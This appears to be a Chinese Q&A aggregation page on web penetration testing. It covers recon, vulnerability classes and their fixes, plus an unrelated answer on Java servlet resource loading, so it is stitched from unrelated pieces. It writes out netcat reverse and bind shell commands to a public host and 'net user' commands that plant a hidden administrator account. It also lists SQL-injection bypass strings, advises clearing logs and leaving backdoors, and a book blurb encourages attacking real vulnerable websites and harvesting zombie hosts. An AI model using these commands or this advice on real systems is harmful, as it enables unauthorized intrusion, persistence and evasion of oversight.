⑴ 網站滲透測試,怎麼進行
1.信息收集:
1)、獲取域名的whois信息,獲取注冊者郵箱姓名電話等。
2)、查詢伺服器旁站以及子域名站點,因為主站一般比較難,所以先看看旁站有沒有通用性的cms或者其他漏洞。
3)、查看伺服器操作系統版本,web中間件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞。
4)、查看IP,進行IP地址埠掃描,對響應的埠進行漏洞探測,比如 rsync,心臟出血,mysql,ftp,ssh弱口令等。
5)、掃描網站目錄結構,看看是否可以遍歷目錄,或者敏感文件泄漏,比如php探針。
6)、google hack 進一步探測網站的信息,後台,敏感文件。
2.漏洞掃描:
開始檢測漏洞,如XSS,XSRF,sql注入,代碼執行,命令執行,越權訪問,目錄讀取,任意文件讀取,下載,文件包含, 遠程命令執行,弱口令,上傳,編輯器漏洞,暴力破解等。
3.漏洞利用:
利用以上的方式拿到webshell,或者其他許可權。
4.許可權提升:
提權伺服器,比如windows下mysql的udf提權,serv-u提權,windows低版本的漏洞,如iis6,pr,巴西烤肉, linux藏牛漏洞,linux內核版本漏洞提權,linux下的mysql system提權以及oracle低許可權提權。
5.日誌清理:
結束滲透測試工作需要做的事情,抹除自己的痕跡。
需要規避的風險:
1. 不執行任何可能引起業務中斷的攻擊(包括資源耗竭型DoS,畸形報文攻擊,數據破壞)。
2. 測試驗證時間放在業務量最小的時間進行。
3. 測試執行前確保相關數據進行備份
4. 所有測試在執行前和維護人員進行溝通確認。
⑵ web滲透是什麼
Web滲透測試分為白盒測試和黑盒測試,白盒測試是指目標網站的源碼等信息的情況下對其滲透,相當於代碼分析審計。而黑盒測試則是在對該網站系統信息不知情的情況下滲透,以下所說的Web滲透就是黑盒滲透。
Web滲透分為以下幾個步驟,信息收集,漏洞掃描,漏洞利用,提權,內網滲透,留後門,清理痕跡。一般的滲透思路就是看是否有注入漏洞,然後注入得到後台管理員賬號密碼,登錄後台,上傳小馬,再通過小馬上傳大馬,提權,內網轉發,進行內網滲透,掃描內網c段存活主機及開放埠,看其主機有無可利用漏洞(nessus)埠(nmap)對應服務及可能存在的漏洞,對其利用(msf)拿下內網,留下後門,清理痕跡。或者看是否有上傳文件的地方,上傳一句話木馬,再用菜刀鏈接,拿到資料庫並可執行cmd命令,可繼續上大馬.........思路很多,很多時候成不成功可能就是一個思路的問題,技術可以不高,思路一定得騷。
信息收集
信息收集是整個流程的重中之重,前期信息收集的越多,Web滲透的成功率就越高。
DNS域名信息:通過url獲取其真實ip,子域名(Layer子域名爆破機),旁站(K8旁站,御劍1.5),c段,網站負責人及其信息(whois查詢)
整站信息:伺服器操作系統、伺服器類型及版本(Apache/Nginx/Tomcat/IIS)、資料庫類型(Mysql/Oracle/Accees/Mqlserver)、腳本類型(php/jsp/asp/aspx)、CMS類型;
網站常見搭配為:
ASP和ASPX:ACCESS、SQLServer
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL
敏感目錄信息(御劍,dirbust)
開放埠信息(nmp)
漏洞掃描
利用AWVS,AppScan,OWASP-ZAP,等可對網站進行網站漏洞的初步掃描,看其是否有可利用漏洞。
常見漏洞:
SQL注入
XSS跨站腳本
CSRF跨站請求偽造
XXE(XML外部實體注入)漏洞
SSRF(服務端請求偽造)漏洞
文件包含漏洞
文件上傳漏洞
文件解析漏洞
遠程代碼執行漏洞
CORS跨域資源共享漏洞
越權訪問漏洞
目錄遍歷漏洞和任意文件讀取/下載漏洞
漏洞利用
用工具也好什麼也好對相應漏洞進行利用
如:
Sql注入(sqlmap)
XSS(BEEF)
後台密碼爆破(burp)
埠爆破(hydra)
提權
獲得shell之後我們許可權可能很低,因此要對自己提權,可以根據伺服器版本對應的exp進行提權,對於Windows系統也可看其補丁對應漏洞的exp進行提權
內網滲透
首先進行埠轉發可用nc
nc使用方法:
反向連接
在公網主機上進行監聽:
nc-lvp 4444
在內網主機上執行:
nc-e cmd.exe 公網主機ip4444
成功之後即可得到一個內網主機shell
正向連接
遠程主機上執行:
nc-l -p 4444 -t -e cmd.exe
本地主機上執行:
nc-vv 遠程主機ip4444
成功後,本地主機即可遠程主機的一個shell
然後就是對內網進行滲透了,可以用主機漏洞掃描工具(nessus,x-scan等)進行掃描看是否有可用漏洞,可用msf進行利用,或者用nmap掃描存活主機及開放埠,可用hydra進行埠爆破或者用msf對埠對應漏洞得到shell拿下內網留後門
留後門
對於網站上傳一句話木馬,留下後門
對於windows用戶可用hideadmin創建一個超級隱藏賬戶
手工:
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
這樣的話在cmd命令中看不到,但在控制面板可以看到,還需要改注冊表才能實現控製版面也看不到,太過麻煩,不多贅述,所以還是用工具省心省力。
⑶ 如何進行Web滲透測試
什麼是滲透測試?
滲透測試,是滲透測試工程師完全模擬黑客可能使用的攻擊技術和漏洞發現技術,對目標網路、主機、應用的安全作深入的探測,發現系統最脆弱的環節。
如何進行Web滲透測試?
完整web滲透測試框架當需要測試的web應用數以千計,就有必要建立一套完整的安全測試框架,流程的最高目標是要保證交付給客戶的安全測試服務質量。
1、立項:項目建立,時間安排,人力分配,目標制定,廠商介面人確定;
系統分析&威脅分析:針對具體的web應用,分析系統架構、使用的組件、對外提供的介面等,以STRIDE為威脅模型進行對應的安全威脅分析,輸出安全威脅分析表,重點關注top3威脅;
制定測試用例:根據威脅分析的結果制定對應的測試用例,測試用例按照模板輸出,具備可執行性;
測試執行&漏洞挖掘:測試用例執行&發散測試,挖掘對應的安全問題or漏洞;
問題修復&回歸測試:指導客戶應用開發方修復安全問題or漏洞,並進行回歸測試,確保安全問題or漏洞得到修復,並且沒有引入新的安全問題;
項目總結評審:項目過程總結,輸出文檔評審,相關文檔歸檔。
2、Web應用的滲透測試流程
主要分為3個階段,分別是:信息收集→漏洞發現→漏洞利用,下面仔細分析一下各個階段流程:
一、信息收集
在信息收集階段,我們需要盡量多的收集關於目標web應用的各種信息,比如:腳本語言的類型、伺服器的類型、目錄的結構、使用的開源軟體、資料庫類型、所有鏈接頁面,用到的框架等
腳本語言的類型:常見的腳本語言的類型包括:php、asp、aspx、jsp等
測試方法:
1 爬取網站所有鏈接,查看後綴
2 直接訪問一個不存在頁面後面加不同的後綴測試
3 查看robots.txt,查看後綴
伺服器的類型:常見的web伺服器包括:apache、tomcat、IIS、ngnix等
測試方法:
1 查看header,判斷伺服器類型
2 根據報錯信息判斷
3 根據默認頁面判斷
目錄的結構:了解更多的目錄,可能發現更多的弱點,如:目錄瀏覽、代碼泄漏等。
測試方法
1 使用字典枚舉目錄
2 使用爬蟲爬取整個網站,或者使用google等搜索引擎獲取
3 查看robots.txt是否泄漏
使用的開源軟體:我們如果知道了目標使用的開源軟體,我們可以查找相關的軟體的漏洞直接對網站進行測試。
測試方法
指紋識別(網路上有很多開源的指紋識別工具)
資料庫類型:對於不同的資料庫有不同的測試方法。
測試方法
1 使應用程序報錯,查看報錯信息
2 掃描伺服器的資料庫埠(沒做NAT且防火牆不過濾時有效)
所有鏈接頁面:這個跟前面的獲取目錄結構類似,但是這個不只是獲取網站的所有功能頁面,有時候還可以獲取到管理員備份的源碼。
測試方法
1 使用字典枚舉頁面
2 使用爬蟲爬取整個網站,或者使用google等搜索引擎獲取
3 查看robots.txt是否泄漏
用到的框架:很多網站都利用開源的框架來快速開發網站,所以收集網站的框架信息也是非常關鍵的。
測試方法
指紋識別(網路上有很多開源的指紋識別工具)
二、漏洞發現
在這個階段我們在做測試的時候要對症下葯,不能盲目的去掃描,首先要確定目標應用是否使用的是公開的開源軟體,開源框架等、然後在做深一度的漏洞掃描。
關於開源軟體的漏洞發現
開源的軟體:常見的開源軟體有wordpress、phpbb、dedecms等
開源的框架:常見的開源框架有Struts2、 Spring MVC、ThinkPHP等
中間件伺服器:常見的中間件伺服器有jboss、tomcat、Weblogic等
資料庫服務:常見的資料庫服務mssql、mysql、oracle、redis、sybase、MongoDB、DB2等
對於開源軟體的測試方法
1 通過指紋識別軟體判斷開源軟體的版本信息,針對不同的版本信息去開放的漏洞資料庫查找相應版本的漏洞進行測試
2 對於默認的後台登錄頁、資料庫服務埠認證等入口可以進行簡單的暴力破解、默認口令嘗試等操作
3 使用開源的漏洞發現工具對其進行漏洞掃描,如:WPScan
關於自主開發的應用
手動測試:這個階段,我們需要手工測試所有與用戶交互的功能,比如:留言、登入、下單、退出、退貨、付款等操作
軟體掃描:使用免費的軟體掃描,如:appscan、wvs、netsparker,burp等
可能存在的漏洞
Owasp關鍵點
代碼安全之上傳文件
代碼安全之文件包含
代碼安全之SSRF
邏輯漏洞之密碼重置
邏輯漏洞之支付漏洞
邏輯漏洞之越權訪問
平台安全之中間件安全
三、漏洞利用
針對不同的弱點有不同的漏洞利用方式,需要的知識點也比較多。一般這個階段包括兩種方式,一種是手工測試,一種是工具測試
手工測試
手工測試是通過客戶端或伺服器訪問目標服務,手工向目標程序發送特殊的數據,包括有效的和無效的輸入,觀察目標的狀態、對各種輸入的反應,根據結果來發現問題的漏洞檢測技術。手工測試不需要額外的輔助工具,可由測試者獨立完成,實現起來比較簡單。但這種方法高度依賴於測試者,需要測試者對目標比較了解。手工測試可用於Web應用程序、瀏覽器及其他需要用戶交互的程序。
這種方式對於有特殊過濾等操作,或者網路上沒有成型的利用工具的時候可以使用。
工具測試
網路上有很多好用的免費利用工具,比如針對sql注入的sqlmap、針對軟體漏洞的matesploit等。
⑷ Web滲透是怎麼弄的
1.滲透目標
滲透網站(這里指定為www.xxx.com)
切記,在滲透之前要簽訂協議。
2.信息收集
建議手動檢查和掃描器選擇同時進行。
2.1 網站常規檢測(手動)
1:瀏覽www.xxx.com
1. 初步確定網站的類型:例如銀行,醫院,政府等。
2. 查看網站功能模,比如是否有論壇,郵箱等。
3. 重點記錄網站所有的輸入點(與資料庫交互的頁面),比如用戶登錄,用戶注冊,留言板等。4. 重點查看網站是否用到了一些通用的模板,比如論壇選擇了動網(dvbss),就有可能存在動網的漏洞;郵箱有可能選擇通用的郵箱系統,也有漏洞。
2: 分析網站的url1. 利用搜索引擎,搜索網站的url,快速找到網站的動態頁面。
2. 對網站的域名進行反查,查看IP,確定伺服器上的域名數,如果主頁面url檢測沒有漏洞,可以對其他的域名進行檢測。
3:審查代碼
重點對輸入代碼(比如表單)進行分析,看如何來提交輸入,客戶端做了哪些輸入的限制方法。
1. 隱藏表單欄位 hidden
2. Username,Password等
4:控制項分析
Active x 通常都是用c/c++編寫
在頁面上(通常是首頁)的源碼中搜索
1. 需要ComRaider+OD 對dll文件進行反編譯,看是否有漏洞。
2. 改變程序執行的路徑,破壞Active X 實施的輸入確認,看web的回應。
5:對常規的輸入進行手動注入測試,測試是否有sql注入和跨站漏洞,試用常規的用戶名和密碼登錄。
6:查看web伺服器的版本,確定搜索是否有低版本伺服器組件和框架的漏洞,比如通用的Java框架Struct2的漏洞。
2.2 工具選擇和使用
1:web應用程序漏洞掃描工具
Appscan: (版本7.8)
掃描漏洞比較全,中文,漏洞利用率高,檢測速度慢,需要大量內存,重點推薦。
AWVS:
英文,漏洞庫完善,檢測速度慢。
JSky
中文,檢測速度快,但深度一般。
Nessus
英文,檢測速度較快,漏洞也比較完善,免費,可及時更新,B/S界面。
2:埠掃描
Nmap
流光
3: 口令破解工具
溯雪
4:sql 注入工具
Asp+SqlServe, ACCESS:啊D注入工具
Php+MySQL : php+mysql注入工具(暗組的hacker欄中)
Jsp+ORACAL: CnsaferSI
支持以上資料庫 Pangolin
5: http代理請求
Paros
6:木馬
灰鴿子
7:提權木馬
一句話木馬大馬(具體所用的木馬參考文檔和工具包(綠盟,暗組))
5: 工具推薦使用方案
Appscan掃描出的重大漏洞,進行手工檢測(注意看漏洞是如何發現的,修改漏洞的代碼,對滲透幫助很大)。
sql注入漏洞
可以選用根據網站類型選擇sql注入工具
如果是post請求類型的url,選擇使用paros代理後,修改http請求包,進行注入。
WebDEV漏洞
可以啟用發送請求(比如DELETE對方網頁)
跨站漏洞
直接將appscan的代碼輸入測試,成功後,可以嘗試跨其他腳本(比如
遍歷漏洞:
網頁的目錄,下載網站配置文件信息,和源文件進行反編譯
反編譯:
Class 可以選用java 反編譯工具
Dll (asp.net) 選用Reflector
3.分析並滲透
---------------------
作者:centos2015
來源:CSDN
原文:https://blog.csdn.net/zonghua521/article/details/78272634
版權聲明:本文為博主原創文章,轉載請附上博文鏈接!
⑸ 如何進行Web滲透測試
1.SQL Injection(SQL注入)
(1)如何進行SQL注入測試?
首先找到帶有參數傳遞的URL頁面,如 搜索頁面,登錄頁面,提交評論頁面等等.
注1:對 於未明顯標識在URL中傳遞參數的,可以通過查看HTML源代碼中的"FORM"標簽來辨別是否還有參數傳遞.在<FORM> 和</FORM>的標簽中間的每一個參數傳遞都有可能被利用.
<form id="form_search" action="/search/" method="get">
<div>
<input type="text" name="q" id="search_q" value="" />
<input name="search" type="image" src="/media/images/site/search_btn.gif" />
<a href="/search/" class="fl">Gamefinder</a>
</div>
</form>
注 2:當你找不到有輸入行為的頁面時,可以嘗試找一些帶有某些參數的特殊的URL,如http://DOMAIN/INDEX.ASP?ID=10
其 次,在URL參數或表單中加入某些特殊的SQL語句或SQL片斷,如在登錄頁面的URL中輸入http://DOMAIN /INDEX.ASP?USERNAME='HI' OR 1=1
注1:根據實際情況,SQL注入請求可以使用以下語句:
' or 1=1- -
" or 1=1- -
or 1=1- -
' or 'a'='a
" or "a"="a
') or ('a'='a
注2:為什麼是OR, 以及',――是特殊的字元呢?
例子:在登錄時進行身份驗證時,通常使用如下語句來進行驗證:sql=select * from user where username='username' and pwd='password'
如 輸入http://ck/index.asp?username=admin' or 1='1&pwd=11,SQL語句會變成以下:sql=select * from user where username='admin' or 1='1' and password='11'
' 與admin前面的'組成了一個查詢條件,即username='admin',接下來的語句將按下一個查詢條件來執行.
接 下來是OR查詢條件,OR是一個邏輯運 算符,在判斷多個條件的時候,只要一個成立,則等式就成立,後面的AND就不再時行判斷了,也就是 說我們繞過了密碼驗證,我們只用用戶名就可以登錄.
如 輸入http://ck/index.asp?username=admin'--&pwd=11,SQL語 句會變成以下sql=select * from user where name='admin' --' and pasword='11',
'與admin前面的'組成了一個查 詢條件,即username='admin',接下來的語句將按下一個查詢條件來執行
接下來是"--"查詢條件,「--」是忽略或注釋,上 述通過連接符注釋掉後面的密碼驗證(注:對ACCESS資料庫無 效).
最後,驗證是否能入侵成功或是出錯的信息是否包含關於資料庫伺服器 的相關信息;如果 能說明存在SQL安 全漏洞.
試想,如果網站存在SQL注入的危險,對於有經驗的惡意用戶還可能猜出資料庫表和表結構,並對資料庫表進行增\刪\改的操 作,這樣造成的後果是非常嚴重的.
(2)如何預防SQL注入?
從應用程序的角度來講,我們要做以下三項工作:
轉義敏感字元及字元串(SQL的敏感字元包括「exec」,」xp_」,」sp_」,」declare」,」Union」,」cmd」,」+」,」//」,」..」,」;」,」『」,」--」,」%」,」0x」,」><=!-*/()|」,和」空格」).
屏蔽出錯信息:阻止攻擊者知道攻擊的結果
在服務端正式處理之前提交數據的合法性(合法性檢查主要包括三 項:數據類型,數據長度,敏感字元的校驗)進行檢查等。最根本的解決手段,在確認客 戶端的輸入合法之前,服務端拒絕進行關鍵性的處理操作.
從測試人員的角度來講,在程序開發前(即需求階段),我們就應該有意識的將安全性檢查應用到需求測試中,例如對一個表單需求進行檢查時,我們一般檢驗以下幾項安全性問題:
需求中應說明表單中某一FIELD的類型,長度,以及取值范圍(主要作用就是禁止輸入敏感字元)
需求中應說明如果超出表單規定的類型,長度,以及取值范圍的,應用程序應給出不包含任何代碼或資料庫信息的錯誤提示.
當然在執行測試的過程中,我們也需求對上述兩項內容進行測試.
2.Cross-site scritping(XSS):(跨站點腳本攻擊)
(1)如何進行XSS測試?
<!--[if !supportLists]-->首先,找到帶有參數傳遞的URL,如 登錄頁面,搜索頁面,提交評論,發表留言 頁面等等。
<!--[if !supportLists]-->其次,在頁面參數中輸入如下語句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)來進行測試:
<scrīpt>alert(document.cookie)</scrīpt>
最後,當用戶瀏覽 時便會彈出一個警告框,內容顯示的是瀏覽者當前的cookie串,這就說明該網站存在XSS漏洞。
試想如果我們注入的不是以上這個簡單的測試代碼,而是一段經常精心設計的惡意腳本,當用戶瀏覽此帖時,cookie信息就可能成功的被 攻擊者獲取。此時瀏覽者的帳號就很容易被攻擊者掌控了。
(2)如何預防XSS漏洞?
從應用程序的角度來講,要進行以下幾項預防:
對Javascrīpt,VB scrīpt, HTML,ActiveX, Flash等 語句或腳本進行轉義.
在 服務端正式處理之前提交數據的合法性(合法性檢查主要包括三項:數據類型,數據長度,敏感字元的校驗)進行檢查等。最根本的解決手段,在確認客戶端的輸入合法之前,服務端 拒絕進行關鍵性的處理操作.
從測試人員的角度來講,要從需求檢查和執行測試過程兩個階段來完成XSS檢查:
在需求檢查過程中對各輸入項或輸出項進行類型、長度以及取 值范圍進行驗證,著重驗證是否對HTML或腳本代碼進行了轉義。
執行測試過程中也應對上述項進行檢查。
3.CSRF:(跨站點偽造請求)
CSRF盡管聽起來像跨站腳本(XSS),但它與XSS非常不同,並且攻擊方式幾乎相左。
XSS是利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。
XSS也好,CSRF也好,它的目的在於竊取用戶的信息,如SESSION 和 COOKIES,
(1)如何進行CSRF測試?
目前主要通過安全性測試工具來進行檢查。
(2)如何預防CSRF漏洞?
請參見http://www.hanguofeng.cn/archives/security/preventing-csrf
4.Email Header Injection(郵件標頭注入)
Email Header Injection:如果表單用於發送email,表單中可能包括「subject」輸入項(郵件標題),我們要驗證subject中應能escape掉「\n」標識。
<!--[if !supportLists]--><!--[endif]-->因為「\n」是新行,如果在subject中輸入「hello\ncc:[email protected]」,可能會形成以下
Subject: hello
cc: [email protected]
<!--[if !supportLists]--><!--[endif]-->如果允許用戶使用這樣的subject,那他可能會給利用這個缺陷通過我們的平台給其它用 戶發送垃圾郵件。
5.Directory Traversal(目錄遍歷)
(1)如何進行目錄遍歷測試?
目錄遍歷產生的原因是:程序中沒有過濾用戶輸入的「../」和「./」之類的目錄跳轉符,導致惡意用戶可以通過提交目錄跳轉來遍歷伺服器上的任意文件。
測試方法:在URL中輸入一定數量的「../」和「./」,驗證系統是否ESCAPE掉了這些目錄跳轉符。
(2)如何預防目錄遍歷?
限制Web應用在伺服器上的運行
進 行嚴格的輸入驗證,控制用戶輸入非法路徑
6.exposed error messages(錯誤信息)
(1)如何進行測試?
首 先找到一些錯誤頁面,比如404,或500頁面。
驗證在調試未開通過的情況下,是否給出了友好的錯誤提示信息比如「你訪問的頁面不存 在」等,而並非曝露一些程序代碼。
(2)如何預防?
測試人員在進行需求檢查時,應該對出錯信息 進行詳細查,比如是否給出了出錯信息,是否給出了正確的出錯信息。
⑹ 關於如何在java的web應用獲取伺服器資源
我曾經試圖在applet中通過讀取伺服器上的一個xml文件來創建一棵樹型結構。在尋找了很多資料後,發覺這種做法好像行不通。Applet是運行在客戶端的腳本,個人認為很難或者是無法獲取伺服器端的資源。
通過這次的學習,我掌握了幾種獲取伺服器資源的方法。歸納如下:
1.在servlet中通過getServletContext().getRealPath(「」)可以獲得伺服器某個資源的真實路徑,然後可以通過創建URL,或者創建IO流來獲取資源。
2.在servlet中通過getServletContext().getResourceAsStream(「」)來獲得資源流。
3.在jsp中通過pageContext來獲得ServletContext對象pageContext.getServletContext(),然後用1,2種方法都可以獲得伺服器資源。
4.在一般的javaBean中,通過this.getClass().getResourceAsStream(「」)可以獲得和javaBean的class文件一個目錄下的資源。
⑺ Web滲透技術及實戰案例解析的內容簡介
本書從Web滲透的專業角度,結合網路安全中的實際案例,圖文並茂地再現Web滲透的精彩過程。本書共分7章,由淺入深地介紹和分析了目前網路流行的Web滲透攻擊方法和手段,並結合作者多年的網路安全實踐經驗給出了相對應的安全防範措施,對一些經典案例還給出了經驗總結和技巧,通過閱讀本書可以快速掌握目前Web滲透的主流技術。本書最大的特色就是實用和實戰性強,思維靈活。內容主要包括Web滲透必備技術、Google黑客技術、文件上傳滲透技術、SQL注入、高級滲透技術、0day攻擊和Windows提權與安全防範等。
前言
經過近一年時間的艱辛苦戰,終於將本書完成。本書是我寫的第三本書,主要從Web滲透的專業角度來討論網路安全的攻防技術,盡可能地再現Web滲透場景,每一個小節都代表某一個場景,此書是我工作數年的總結,最後終於不辱使命將所有成果放在本書中與大家分享。
本書是在我上一本書《黑客攻防及實戰案例解析》基礎上的又一本安全類書籍,主要討論Web滲透攻防技術。攻擊與防護是辯證統一的關系,掌握了攻擊技術,也就掌握了防護技術。Web滲透是網路安全攻防的最熱門技術,通過滲透Web伺服器,利用已有信息,逐漸深入公司或者大型網路,最終完成滲透目標。
最近二年來網路安全特別火爆,可以說從事網路安全還是蠻有前途的職業之一。目前網路安全界非常缺人,特別是在2011年CSDN、天涯等大型網站用戶資料庫泄露後,各大公司對安全人士求賢若渴,掌握網路安全攻防技術,擁有豐富經驗的從業人員,年薪一般在10萬以上,能夠獨立挖掘漏洞的從業人員年薪一般在20萬以上。其實Web安全滲透技術也不是那麼高不可攀,只要自己鎖定這個方向,持之以恆,不斷地進行試驗和研究,終將成為一名高手,而且安全攻防技術還跟學歷無關,很多技術高手都沒有上過大學。
Web滲透攻防技術可以通過以下方法來自學,一是通過安全站點漏洞更新通告、安全文章,了解漏洞的形成原理和利用過程,掌握漏洞的核心原理;二是在本地搭建試驗環境進行實際測試,掌握漏洞利用方法;三是在互聯網上對存在漏洞的站點進行實際操作,在真實環境下進行驗證,提出修補漏洞的方法。在技術研究的同時還要做好記錄,總結失敗和成功的方法,積累技巧和經驗,我曾經看過一位牛人,Web漏洞收集超過10GB數據!
本書以Web滲透攻擊與防禦為主線,主要通過典型的滲透實際案例來介紹Web滲透和防禦技術,在每一個小節中除了技術原理外,還對這些技術進行總結和提煉,掌握和理解這些技術後,讀者在遇到類似的滲透場景時可以自己去進行滲透。本書採用最為通俗易懂的圖文解說,按照書中的步驟即可還原當時的攻防情景。通過閱讀本書,初學者可以很快掌握Web攻防的流程、最新的一些技術和方法,有經驗的讀者可以在技術上更上一層樓,使攻防技術從理論和實踐中更加系統化,同時可以使用本書中介紹的一些防禦方法來加固伺服器系統。
本書共分為7章,由淺入深,依照Web攻防的一些技術特點安排內容,每一小節都是一個具體Web攻防技術的典型應用,同時結合案例給予講解,並給出一些經典的總結。本書主要內容安排如下。
第1章 Web滲透必備技術
介紹Web滲透的一些必備的基本知識,創建和使用VPN隱藏自己,獲取操作系統密碼、破解MD5密碼、破解MySQL密碼、資料庫還原等,這些技術可以在Web滲透中使用,也可以在網路管理中使用。
第2章 Google——我愛你又恨你
利用Google等搜索引擎技術來獲取信息,輔助Web滲透,在某些場景中往往會起到意想不到的效果,也被稱為Nday攻擊(0day後的數天持續攻擊)。在進行Web攻防技術研究的同時,可以通過Google來進行實際演練,最好的效果就是網上爆出漏洞後利用Goolge技術來抓肉雞。
第3章 都是上傳惹的禍
上傳是Web滲透中最容易獲得WebShell的捷徑之一,在本章中介紹了如何利用WebEditor、FCKeditor、CuteEditor等典型編輯器漏洞來獲取WebShell的方法,同時還對登錄繞過後通過Flash上傳、文件上傳等方法來獲取WebShell進行探討。
第4章 SQL注入——滲透主樂章
SQL注入是Web滲透的核心技術,本章主要介紹使用SQL注入方法獲取WebShell,穿插介紹使用多種掃描軟體、攻擊工具來滲透Web伺服器並提權。
第5章 高級滲透技術
本章介紹如何充分利用多種技術組合,結合巧妙的思路,最終成功滲透一些高難度的Web伺服器。
第6章 0day攻擊
0day是Web滲透中的「神器」,幾乎是無往不勝,所向披靡,本章介紹利用Discuz!6.0、Discuz!7.2、Discuz!NT、PHP168、WordPress、Citrix、Art2008cms、Phpcms2008sp4等0day滲透Web伺服器的一些方法。
第7章 Windows提權與安全防範
獲取WebShell後,獲得伺服器許可權一直是Web滲透的終極目標,本章對主流的一些提權方法進行介紹,掌握這些方法和原理後,可以舉一反三,觸類旁通。最後還對如何設置一個安全「變態」的Web伺服器進行介紹。
雖然本書內容已經很豐富與完整,但仍然無法涵蓋所有的Web滲透的技術,但通過本書的學習,可以快速了解和掌握Web滲透技術,加固自己的伺服器。本書的目的是通過Web滲透技術並結合一些案例來探討網路安全,更好地加固Web伺服器、遠離黑客的威脅。
⑻ 常見36種WEB滲透測試漏洞描述及解決方法-文件包含漏洞
漏洞描述:程序代碼在處理包含文件時沒有嚴格控制。可以先把上傳的靜態文件,或網站日誌文件作為代碼執行,或包含遠程伺服器上的惡意文件,獲取伺服器許可權。
解決方法:
(1)嚴格檢查變數是否已經初始化,嚴格檢查include類的文件包含函數中的參數是否外界可控;
(2)對所有輸入可能包含的文件地址,包括伺服器本地文件及遠程文件嚴格檢查,參數中不允許出現../之類的目錄跳轉符;
(3)在客戶端和服務段同時做數據的驗證與過濾。